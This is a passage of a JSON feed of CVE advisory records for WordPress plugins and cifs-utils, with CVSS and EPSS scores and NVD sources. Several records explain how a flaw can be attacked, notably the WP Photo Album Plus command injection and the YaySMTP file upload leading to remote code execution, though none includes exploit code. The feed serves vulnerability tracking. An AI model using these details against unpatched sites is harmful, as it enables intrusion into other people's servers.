EPSS probability and percentile for CVE-2026-97640, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97296","cveId":"CVE-2026-97296","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in Rocketgenius, Inc Gravity Forms gravityforms allows Object Injection.This issue affects Gravity Forms: from n/a before 3.1.1.","summary":"Deserialization of Untrusted Data vulnerability in Rocketgenius, Inc Gravity Forms gravityforms allows Object Injection.This issue affects Gravity Forms: from n/a before 3.1.1.","detail":"Deserialization of Untrusted Data vulnerability in Rocketgenius, Inc Gravity Forms gravityforms allows Object Injection.This issue affects Gravity Forms: from n/a before 3.1.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T07:17:14.693Z","updatedAt":"2026-10-16T15:19:36.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97296","asOf":"2026-10-16T15:19:36.177Z"},"epss":{"probability":0.0025,"percentile":0.16153,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97296&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97296","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97296","type":"primary","publishedAt":"2026-10-16T07:17:14.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97296&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97296, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96339","cveId":"CVE-2026-96339","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Houzez.co Houzez houzez allows Reflected XSS.This issue affects Houzez: from...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Houzez.co Houzez houzez allows Reflected XSS.This issue affects Houzez: from n/a through 4.4.0.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Houzez.co Houzez houzez allows Reflected XSS.This issue affects Houzez: from n/a through 4.4.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T07:17:14.560Z","updatedAt":"2026-10-16T15:19:36.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96339","asOf":"2026-10-16T15:19:36.177Z"},"epss":{"probability":0.00142,"percentile":0.0346,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96339&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96339","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96339","type":"primary","publishedAt":"2026-10-16T07:17:14.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96339&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96339, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92553","cveId":"CVE-2026-92553","aliases":[],"kind":"vulnerability","title":"The YaySMTP – WP Mail SMTP with Email Logs, Tracking & Reports plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.7.7 via the...","summary":"The YaySMTP – WP Mail SMTP with Email Logs, Tracking & Reports plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.7.7 via the putFile function. This is due to insufficient file type validation in the putFile function, as sanitize_file_name() does not strip executable extensions and no allow-list, MIME check, or safe-extension rename is applied. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. The only server-side guard is a .htaccess file containing 'Require all denied' written by writeGuards(), which is silently ignored by nginx and by Apache configured with AllowOverride None, meaning RCE is fully achievable on those server configurations.","detail":"The YaySMTP – WP Mail SMTP with Email Logs, Tracking & Reports plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.7.7 via the putFile function. This is due to insufficient file type validation in the putFile function, as sanitize_file_name() does not strip executable extensions and no allow-list, MIME check, or safe-extension rename is applied. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. The only server-side guard is a .htaccess file containing 'Require all denied' written by writeGuards(), which is silently ignored by nginx and by Apache configured with AllowOverride None, meaning RCE is fully achievable on those server configurations.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T07:17:14.150Z","updatedAt":"2026-10-16T15:17:35.653Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92553","asOf":"2026-10-16T15:17:35.653Z"},"epss":{"probability":0.00559,"percentile":0.46255,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92553&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92553","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92553","type":"primary","publishedAt":"2026-10-16T07:17:14.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92553&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92553, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92115","cveId":"CVE-2026-92115","aliases":[],"kind":"vulnerability","title":"The WP Photo Album Plus plugin for WordPress is vulnerable to authenticated Command Injection in all versions up to, and including, 9.3.02.002 via the `value` parameter of the...","summary":"The WP Photo Album Plus plugin for WordPress is vulnerable to authenticated Command Injection in all versions up to, and including, 9.3.02.002 via the `value` parameter of the `update-photo` AJAX action. This is due to insufficient shell escaping within the `wppa_image_magick_a()` function, where the attacker-controlled `value` parameter is concatenated raw — without `escapeshellarg()` — into an ImageMagick command string before being passed to `exec()`; further, `wppa_decode()` actively restores percent-encoded shell metacharacters (e.g., `%26`→`&`, `%23`→`#`) rather than stripping them, allowing crafted payloads to survive sanitization and break out of the ImageMagick argument context. This makes it possible for authenticated attackers holding the plugin-defined `wppa_upload` capability to execute arbitrary operating-system commands as the web-server user, achieving full remote code execution on the underlying server. Exploitation requires ImageMagick to be enabled on the server; the `wppa_upload` capability is a plugin-level privilege that site administrators may grant to lower-privileged WordPress roles via the plugin's Users settings, broadening the pool of potential attackers beyond administrators.","detail":"The WP Photo Album Plus plugin for WordPress is vulnerable to authenticated Command Injection in all versions up to, and including, 9.3.02.002 via the `value` parameter of the `update-photo` AJAX action. This is due to insufficient shell escaping within the `wppa_image_magick_a()` function, where the attacker-controlled `value` parameter is concatenated raw — without `escapeshellarg()` — into an ImageMagick command string before being passed to `exec()`; further, `wppa_decode()` actively restores percent-encoded shell metacharacters (e.g., `%26`→`&`, `%23`→`#`) rather than stripping them, allowing crafted payloads to survive sanitization and break out of the ImageMagick argument context. This makes it possible for authenticated attackers holding the plugin-defined `wppa_upload` capability to execute arbitrary operating-system commands as the web-server user, achieving full remote code execution on the underlying server. Exploitation requires ImageMagick to be enabled on the server; the `wppa_upload` capability is a plugin-level privilege that site administrators may grant to lower-privileged WordPress roles via the plugin's Users settings, broadening the pool of potential attackers beyond administrators.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T07:17:13.907Z","updatedAt":"2026-10-16T15:17:35.193Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92115","asOf":"2026-10-16T15:17:35.193Z"},"epss":{"probability":0.01433,"percentile":0.72872,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92115&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92115","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92115","type":"primary","publishedAt":"2026-10-16T07:17:13.907Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92115&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92115, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110701","cveId":"CVE-2026-110701","aliases":[],"kind":"vulnerability","title":"The CP Multi View Events Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'CalendarTitle' parameter in all versions up to, and including, 1.4.42...","summary":"The CP Multi View Events Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'CalendarTitle' parameter in all versions up to, and including, 1.4.42 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires that an administrator has enabled the \"Allow edition in frontend?\" option on at least one calendar view, which exposes the unauthenticated add endpoint and a publicly accessible nonce.","detail":"The CP Multi View Events Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'CalendarTitle' parameter in all versions up to, and including, 1.4.42 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires that an administrator has enabled the \"Allow edition in frontend?\" option on at least one calendar view, which exposes the unauthenticated add endpoint and a publicly accessible nonce.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T07:17:11.643Z","updatedAt":"2026-10-16T15:17:11.770Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110701","asOf":"2026-10-16T15:17:11.770Z"},"epss":{"probability":0.00247,"percentile":0.15806,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110701&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110701","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110701","type":"primary","publishedAt":"2026-10-16T07:17:11.643Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110701&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110701, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110135","cveId":"CVE-2026-110135","aliases":[],"kind":"vulnerability","title":"The OTP Login & Register Woocommerce WordPress plugin before 2.7.3 does not adequately limit one-time-password verification attempts, because the attempt limit is tracked against...","summary":"The OTP Login & Register Woocommerce WordPress plugin before 2.7.3 does not adequately limit one-time-password verification attempts, because the attempt limit is tracked against a value the client itself supplies and can change freely, allowing an unauthenticated attacker to bypass the limit and brute-force the short numeric login code to take over an account without its password.","detail":"The OTP Login & Register Woocommerce WordPress plugin before 2.7.3 does not adequately limit one-time-password verification attempts, because the attempt limit is tracked against a value the client itself supplies and can change freely, allowing an unauthenticated attacker to bypass the limit and brute-force the short numeric login code to take over an account without its password.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T07:17:10.683Z","updatedAt":"2026-10-16T15:17:09.643Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110135","asOf":"2026-10-16T15:17:09.643Z"},"epss":{"probability":0.00265,"percentile":0.18274,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110135&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110135","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110135","type":"primary","publishedAt":"2026-10-16T07:17:10.683Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110135&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110135, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110015","cveId":"CVE-2026-110015","aliases":[],"kind":"vulnerability","title":"The Salon Booking System  WordPress plugin before 10.31.9 does not correctly verify the authenticity of REST API requests and discards WordPress core's nonce check for...","summary":"The Salon Booking System  WordPress plugin before 10.31.9 does not correctly verify the authenticity of REST API requests and discards WordPress core's nonce check for cookie-authenticated sessions across the whole REST API, allowing unauthenticated attackers who trick a logged-in administrator into clicking a crafted link to forge requests in that administrator's browser, up to creating a new administrator account.","detail":"The Salon Booking System  WordPress plugin before 10.31.9 does not correctly verify the authenticity of REST API requests and discards WordPress core's nonce check for cookie-authenticated sessions across the whole REST API, allowing unauthenticated attackers who trick a logged-in administrator into clicking a crafted link to forge requests in that administrator's browser, up to creating a new administrator account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T07:17:10.470Z","updatedAt":"2026-10-16T15:17:09.097Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110015","asOf":"2026-10-16T15:17:09.097Z"},"epss":{"probability":0.00135,"percentile":0.02925,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110015&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110015","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110015","type":"primary","publishedAt":"2026-10-16T07:17:10.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110015&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110015, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109193","cveId":"CVE-2026-109193","aliases":[],"kind":"vulnerability","title":"The HivePress – Business Directory, Listings & Classified Ads Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '<custom user attribute slug> (e.g.","summary":"The HivePress – Business Directory, Listings & Classified Ads Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '<custom user attribute slug> (e.g. hp_custom_link)' parameter in all versions up to, and including, 1.7.32 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that an administrator has configured a custom user attribute with a display_format template placing the %value% token inside an href, src, or style attribute context, which is a documented and expected use of the plugin's attribute display feature.","detail":"The HivePress – Business Directory, Listings & Classified Ads Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '<custom user attribute slug> (e.g. hp_custom_link)' parameter in all versions up to, and including, 1.7.32 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that an administrator has configured a custom user attribute with a display_format template placing the %value% token inside an href, src, or style attribute context, which is a documented and expected use of the plugin's attribute display feature.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T07:17:09.417Z","updatedAt":"2026-10-16T15:17:06.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109193","asOf":"2026-10-16T15:17:06.587Z"},"epss":{"probability":0.00362,"percentile":0.29788,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109193&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109193","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109193","type":"primary","publishedAt":"2026-10-16T07:17:09.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109193&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109193, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107768","cveId":"CVE-2026-107768","aliases":[],"kind":"vulnerability","title":"The TranslatePress – Translate Multilingual sites with AI Translation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions...","summary":"The TranslatePress – Translate Multilingual sites with AI Translation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 3.3.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires the target site to allow unmoderated comment submission on at least one post and to have a secondary language configured — both conditions reflect TranslatePress's primary use case.","detail":"The TranslatePress – Translate Multilingual sites with AI Translation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 3.3.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires the target site to allow unmoderated comment submission on at least one post and to have a secondary language configured — both conditions reflect TranslatePress's primary use case.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T07:17:09.103Z","updatedAt":"2026-10-16T15:17:05.770Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107768","asOf":"2026-10-16T15:17:05.770Z"},"epss":{"probability":0.00297,"percentile":0.22171,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107768&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107768","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107768","type":"primary","publishedAt":"2026-10-16T07:17:09.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107768&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107768, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104715","cveId":"CVE-2026-104715","aliases":[],"kind":"vulnerability","title":"A flaw was found in cifs-utils. This flaw allows an unprivileged local user to achieve privilege escalation.","summary":"A flaw was found in cifs-utils. This flaw allows an unprivileged local user to achieve privilege escalation. When a privileged service mounts a Common Internet File System (CIFS) share using a user-controlled credentials file, input values are not properly sanitized before being assembled into mount options. A local attacker can exploit this vulnerability to inject unauthorized mount options, allowing them to bypass permission checks and execute files with administrative (root) privileges.","detail":"A flaw was found in cifs-utils. This flaw allows an unprivileged local user to achieve privilege escalation. When a privileged service mounts a Common Internet File System (CIFS) share using a user-controlled credentials file, input values are not properly sanitized before being assembled into mount options. A local attacker can exploit this vulnerability to inject unauthorized mount options, allowing them to bypass permission checks and execute files with administrative (root) privileges.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T07:17:08.090Z","updatedAt":"2026-10-21T03:17:17.137Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104715","asOf":"2026-10-21T03:17:17.137Z"},"epss":{"probability":0.00265,"percentile":0.18201,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104715&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104715","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104715","type":"primary","publishedAt":"2026-10-16T07:17:08.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104715&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104715, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96570","cveId":"CVE-2026-96570","aliases":[],"kind":"vulnerability","title":"The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'saswp_review_text' parameter in all versions up to, 